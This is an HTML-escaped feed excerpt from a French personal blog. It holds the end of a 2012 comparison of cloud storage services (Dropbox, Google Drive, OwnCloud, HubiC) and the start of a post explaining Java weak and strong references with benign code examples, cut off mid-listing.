&lt;p&gt;&lt;a href="https://www.amazon.com/clouddrive/learnmore"&gt;Amazon cloud drive&lt;/a&gt; propose 5Gb gratuitement, ne garantit pas la pérénité des données (les autres non plus ceci dit) et n&amp;rsquo;offre &lt;strong&gt;qu&amp;rsquo;une interface web&lt;/strong&gt; (ce qui parait maigre lorsque l&amp;rsquo;on a testé &lt;a href="http://dropbox.com"&gt;Dropbox&lt;/a&gt;. &lt;em&gt;Amazon cloud drive&lt;/em&gt; semble plutôt destiné à &lt;a href="http://www.amazon.com/gp/feature.html?ie=UTF8&amp;amp;docId=1000454841"&gt;gérer le contenu acheté chez eux&lt;/a&gt; tels les mp3 par exemple.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We do not guarantee that Your Files will not be subject to misappropriation, loss or damage and we will not be liable if they are. You&amp;rsquo;re responsible for maintaining appropriate security, protection and backup of Your Files.&lt;/p&gt;
&lt;p&gt;Extrait des conditions générales de &lt;a href="https://www.amazon.com/clouddrive"&gt;Amazon cloud drive&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Inutile d&amp;rsquo;y créer un compte il me semble…&lt;/p&gt;
&lt;h3&gt;Gdrive ou Google drive&lt;/h3&gt;
&lt;p&gt;Très attendu et lancé courant &lt;em&gt;avril 2012&lt;/em&gt; (c&amp;rsquo;est maintenant), &lt;a href="https://drive.google.com/start#home"&gt;GDrive&lt;/a&gt; est la proposition de &lt;a href="http://google.com"&gt;Google&lt;/a&gt; concernant le stockage en ligne.&lt;/p&gt;
&lt;p&gt;&lt;img alt="gdrive-ds_illustration_collaborate2_440x420.png" src="/images/gdrive-ds_illustration_collaborate2_440x420.png" title="gdrive-ds_illustration_collaborate2_440x420.png, avr. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Personnellement, mon « Google drive is not yet ready », j&amp;rsquo;imagine que Google, fidèle à lui-même, nous proposera une interface web uniquement. Je me demande quelle va être la différence avec &lt;a href="http://docs.google.com"&gt;Google docs&lt;/a&gt;. Il semble que l&amp;rsquo;on pourra &lt;strong&gt;collaborer&lt;/strong&gt; sur un même document. Un peu comme Box le propose et &lt;a href="http://etherpad.org/"&gt;Etherpad&lt;/a&gt; qui est un outil collaboratif dont il faudrait que je parle (voir, par exemple, &lt;a href="https://pad.riseup.net"&gt;pad.riseup.net&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="gdrive-ds_illustration_discussions_440x420.png" src="/images/gdrive-ds_illustration_discussions_440x420.png" title="gdrive-ds_illustration_discussions_440x420.png, avr. 2012"&gt;&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après &lt;a href="https://support.google.com/drive/bin/answer.py?hl=en&amp;amp;answer=2374990&amp;amp;topic=14942&amp;amp;ctx=topic"&gt;la doc&lt;/a&gt; ce ne sera disponible &lt;strong&gt;que pour MS Windows, Mac OS, IOS et Android&lt;/strong&gt;… je me contenterai donc de l&amp;rsquo;interface web&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Je ne pense pas qu&amp;rsquo;il concurrencera Dropbox dont la rapidité et le client permettant la synchronisation m&amp;rsquo;ont conquis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Dropbox&lt;/strong&gt;… c&amp;rsquo;est un peu la conclusion à ce stade.&lt;/p&gt;
&lt;h3&gt;OwnCube by OwnCloud&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://owncloud.org"&gt;OwnCloud&lt;/a&gt;… et pourquoi pas le faire soi-même ?&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on dispose de l&amp;rsquo;infrastructure et des ressources humaines, on peut le faire soi-même en utilisant &lt;a href="http://owncloud.org"&gt;OwnCloud&lt;/a&gt; ou utiliser un service implémentant OwnCloud tel que &lt;a href="https://owncube.com"&gt;Owncube&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Owncloud propose plus que le stockage de fichiers puisqu&amp;rsquo;il permet de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;visualiser des images&lt;/li&gt;
&lt;li&gt;jouer de la musique&lt;/li&gt;
&lt;li&gt;gérer des contacts (il semble que l&amp;rsquo;on puisse synchroniser avec
    &lt;a href="http://contacts.google.com"&gt;Google contact&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;gérer son calendrier&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="screenshot-owncube.png" src="/images/screenshot-owncube.png" title="screenshot-owncube.png, avr. 2012"&gt;&lt;/p&gt;
&lt;p&gt;OwnCube ne propose qu&amp;rsquo;une interface &lt;em&gt;web&lt;/em&gt; mais OwnCloud permet un accès FTP. Les formats utilisés par OwnCloud semblent ouverts; &lt;a href="http://caldav.calconnect.org/"&gt;CalDav&lt;/a&gt;, &lt;a href="http://carddav.calconnect.org/"&gt;CardDav&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;Bref, un outil à suivre qui ~~peut être une solution~~ est la solution auto-hébergée.&lt;/p&gt;
&lt;p&gt;Voilà pour ce rapide tour dans les nuages… perso, je conserve &lt;strong&gt;Dropbox&lt;/strong&gt; pour l&amp;rsquo;instant.&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité quelques minutes plus tard&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;@&lt;a href="https://twitter.com/Pinkilla"&gt;Pinkilla&lt;/a&gt; a noter aussi
&lt;a href="https://twitter.com/search/%2523hubiC"&gt;#hubiC&lt;/a&gt; de
&lt;a href="https://twitter.com/search/%2523OVH"&gt;#OVH&lt;/a&gt; qui propose 25Go
&lt;a href="http://t.co/4e0y0Tuv" title="http://bit.ly/twWY84"&gt;bit.ly/twWY84&lt;/a&gt;
&lt;a href="https://twitter.com/search/%2523cloud"&gt;#cloud&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;mdash; Lévêque Sébastien (@legenyes) &lt;a data-datetime="2012-04-25T09:59:47+00:00" href="https://twitter.com/legenyes/status/195089716272578560"&gt;April 25,
2012&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À noter donc que &lt;a href="http://ovh.com"&gt;OVH&lt;/a&gt; propose également sa « solution de stockage dématérialisée » appelée &lt;strong&gt;HubiC&lt;/strong&gt; (avec le &lt;a href="http://hubic.me"&gt;nom de domaine qui va avec&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Rapidement testée, je vois qu&amp;rsquo;ils proposent une interface web et une application linux/MS Windows/iPhone/Android qui n&amp;rsquo;apporte rien par rapport à l&amp;rsquo;interface WEB car je ne vois pas de copie locale des fichiers. Il semble donc que je ne puisse pas en bénéficier lorsque je suis déconnecté (à confirmer).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;offre gratuite propose 25Gib… ce qui est beaucoup mieux que les 2Gib de Dropbox.&lt;/p&gt;
&lt;p&gt;À ce sujet d&amp;rsquo;ailleurs, si vous voulez utiliser Dropbox, &lt;strong&gt;utilisez ce &lt;a href="http://db.tt/VL9EnSdp"&gt;lien pour créer un compte Dropbox&lt;/a&gt;&lt;/strong&gt; ce qui me permettra d&amp;rsquo;obtenir un peu d&amp;rsquo;espace supplémentaire&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; 😉&lt;/p&gt;
&lt;h4&gt;Sources&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;L&amp;rsquo;idée vient d&amp;rsquo;un &lt;a href="https://twitter.com/#!/galex/status/194896620071038977"&gt;tweet de Galex&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.zdnet.com/blog/igeneration/dropbox-20-still-the-best-choice-for-students/14010?tag=btxcsim"&gt;Zdnet - Dropbox 2.0 still the best choice for students&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.zdnet.com/blog/networking/how-google-drive-will-compare-to-dropbox/2232"&gt;Zdnet - Google drive will compare to Dropbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.zdnet.com/blog/perlow/google-drive-the-cloud-backup-i-want-to-see/20330"&gt;Zdnet - Google drive the cloud backup I want to see&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.box.com"&gt;Blog Box&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://drive.google.com/start#home"&gt;Google drive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://owncloud.org"&gt;OwnCloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owncube.com"&gt;OwnCube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dropbox.com"&gt;Dropbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.box.com"&gt;Box&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/clouddrive"&gt;Amazon cloud drive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Par contre le service est lié à &lt;a href="https://launchpad.net/"&gt;Launchpad&lt;/a&gt; ce qui permet de bénéficier du &lt;em&gt;single sing on&lt;/em&gt;. L&amp;rsquo;équipe d&amp;rsquo;&lt;a href="http://ubuntu.com"&gt;Ubuntu&lt;/a&gt; &lt;strong&gt;utilise le travail de la communauté linux et n&amp;rsquo;offre rien en retour&lt;/strong&gt;. C&amp;rsquo;est un reproche que je fais souvent à Ubuntu.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Si je mets une adresse email chez &lt;a href="http://mailinator.com"&gt;mailinator&lt;/a&gt; et que je renseigne leur numéro de téléphone, ça ne fonctionne pas… par contre une adresse &lt;a href="http://gmail.com"&gt;Gmail&lt;/a&gt; et leur numéro ça marche&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;En fait, je ne m&amp;rsquo;en rend compte que maintenant… sa place devrait donc être en haut… dans les « je n&amp;rsquo;utilise pas »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Merci&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un café « Java » … fort ou léger ?</title><link href="http://blog.namok.be/2012-03-29-un-cafe-java-fort-ou-leger.html" rel="alternate"/><published>2012-03-29T00:00:00+02:00</published><updated>2012-03-29T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-03-29:/2012-03-29-un-cafe-java-fort-ou-leger.html</id><summary type="html">Quand il est question de référence faible et forte en Java</summary><content type="html">&lt;p&gt;&lt;img alt="tassecafe-fillebrascroise.png" src="/images/tassecafe-fillebrascroise.png" title="tassecafe-fillebrascroise.png, mar. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Au hasard du web, je tombe sur un &lt;a href="http://weblogs.java.net/blog/2006/05/04/understanding-weak-references"&gt;vieil article&lt;/a&gt; parlant de référence faible (&lt;em&gt;weak reference&lt;/em&gt;) et disant (je résume très fort) que très peu de programmeurs Java savent ce que sont les &lt;strong&gt;références faibles&lt;/strong&gt; … et comme je ne savais pas non plus, je me
renseigne 🫣&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some time ago I was interviewing candidates for a Senior Java Engineer position. Among the many questions I asked was &amp;ldquo;What can you tell me about weak references ?&amp;rdquo; I wasn&amp;rsquo;t expecting a detailed technical treatise on the subject. I would probably have been satisfied with &amp;ldquo;Umm… don&amp;rsquo;t they have something to do with garbage collection ?&amp;rdquo;&lt;/p&gt;
&lt;p&gt;I was instead surprised to find that out of twenty-odd engineers, all of whom had at least five years of Java experience and good qualifications, only two of them even knew that weak references existed, and only one of those two had actual useful knowledge about them.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://weblogs.java.net/blog/enicholas/archive/2006/05/understanding_w.html"&gt;Ethan Nicolas&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En lisant l&amp;rsquo;article je pense à un projet Java que codent mes étudiants où il pourrait être intéressant de mettre en cache certaines images afin de ne pas les relire sur le disque (ce qui est coûteux) trop souvent. &lt;/p&gt;
&lt;p&gt;Mais comment faire ça ?&lt;br&gt;
Tâchons de répondre à ces deux questions …&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Références fortes (&lt;em&gt;strong reference&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Références faibles (&lt;em&gt;weak reference&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Références douces (&lt;em&gt;soft reference&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Comment mettre en place un «cache» en Java ?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;Références fortes (&lt;em&gt;strong reference&lt;/em&gt;)&lt;/h3&gt;
&lt;p&gt;Une &lt;strong&gt;référence forte&lt;/strong&gt; en Java est une référence, bien connue, créée comme suit&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tant que ma variable conserve une référence vers l&amp;rsquo;objet, celui-ci ne sera pas éligible par le &lt;strong&gt;garbage collector&lt;/strong&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; (&lt;a href="https://en.wikipedia.org/wiki/Garbage_collection_%28computer_science%29"&gt;Wikipedia&lt;/a&gt;). &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;objet reste donc toujours en mémoire.&lt;/p&gt;
&lt;p&gt;Gérer sa mémoire en Java consiste simplement à gérer ses variables. En Java j&amp;rsquo;ai assez peu de chances d&amp;rsquo;avoir des problèmes de fuite mémoire (&lt;em&gt;memory leak&lt;/em&gt;) ou de pertes d&amp;rsquo;objets (&lt;em&gt;damned ! J&amp;rsquo;ai détruit un objet dont j&amp;rsquo;avais encore besoin&lt;/em&gt;). Ceci est d&amp;rsquo;ailleurs vrai pour tous les langages utilisant un &lt;em&gt;garbage collector&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Si je voulais gérer un &lt;strong&gt;cache pour des images&lt;/strong&gt; en utilisant les références fortes (habituelles) je devrais&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;choisir une &lt;strong&gt;taille&lt;/strong&gt; pour mon cache;&lt;/li&gt;
&lt;li&gt;sauvegarder &lt;strong&gt;des&lt;/strong&gt; images dans un &lt;em&gt;container&lt;/em&gt; quelconque (un &lt;code&gt;HashMap&lt;/code&gt; par exemple);&lt;/li&gt;
&lt;li&gt;décider de supprimer &lt;strong&gt;certaines&lt;/strong&gt; images (lesquelles ?) lorsque je veux en ajouter d&amp;rsquo;autres;&lt;/li&gt;
&lt;li&gt;choisir une politique de conservation dans le cache (le plus souvent utilisé, les &lt;em&gt;x&lt;/em&gt; derniers…)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… tout ceci me semble assez « manuel » (et donc fastidieux).&lt;/p&gt;
&lt;h3&gt;Références faibles (&lt;em&gt;weak reference&lt;/em&gt;)&lt;/h3&gt;
&lt;p&gt;Java définit la notion de référence faible (&lt;em&gt;weak reference&lt;/em&gt;), dans sa &lt;a href="http://docs.oracle.com/javase/7/docs/api/"&gt;javadoc&lt;/a&gt; de la classe &lt;code&gt;WeakReference&lt;/code&gt;, comme&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Définition&lt;/strong&gt; Une référence faible est une référence qui n&amp;rsquo;est pas suffisamment forte pour forcer un objet à rester en mémoire suite au passage du &lt;em&gt;garbage collector&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si l&amp;rsquo;on suppose l&amp;rsquo;existence d&amp;rsquo;une classe &lt;code&gt;MyObject&lt;/code&gt; représentant un « objet quelconque », on pourra l&amp;rsquo;utiliser comme suit&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WeakReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeakReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;//params//));&lt;/span&gt;
&lt;span class="n"&gt;wr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;object sera disponible &lt;em&gt;un certain temps&lt;/em&gt; et si le &lt;em&gt;garbage collector&lt;/em&gt; estime qu&amp;rsquo;il peut le récupérer, il le fera. Dans ce cas, la méthode &lt;code&gt;get&lt;/code&gt; retournera &lt;code&gt;null&lt;/code&gt;. &lt;strong&gt;Il doit être clair, qu&amp;rsquo;il ne doit plus y avoir de référence forte vers cet objet&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.WeakReference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestWeakReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;WeakReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeakReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// Il faut gérer les références fortes&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// MyObject mo = wr.get();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On obtient les résultats suivant suivant que l&amp;rsquo;on décommente ou pas &lt;strong&gt;la&lt;/strong&gt; ligne.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-weakref-1.png" src="/images/screenshot-weakref-1.png" title="screenshot-weakref-1.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-weakref-2.png" src="/images/screenshot-weakref-2.png" title="screenshot-weakref-2.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;On peut mettre en œuvre un exemple un peu plus parlant. &lt;/p&gt;
&lt;p&gt;Je vais utiliser une classe permettant de réserver un certain nombre de bytes en mémoire. Nous allons utiliser une classe &lt;code&gt;MemoryBlock&lt;/code&gt; (l&amp;rsquo;idée provient de
&lt;a href="http://www.techrepublic.com/article/java-reference-objects-make-caching-easy/1049546"&gt;Alexandre Pereira Calsavara&lt;/a&gt;) telle que&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MemoryBlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MemoryBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
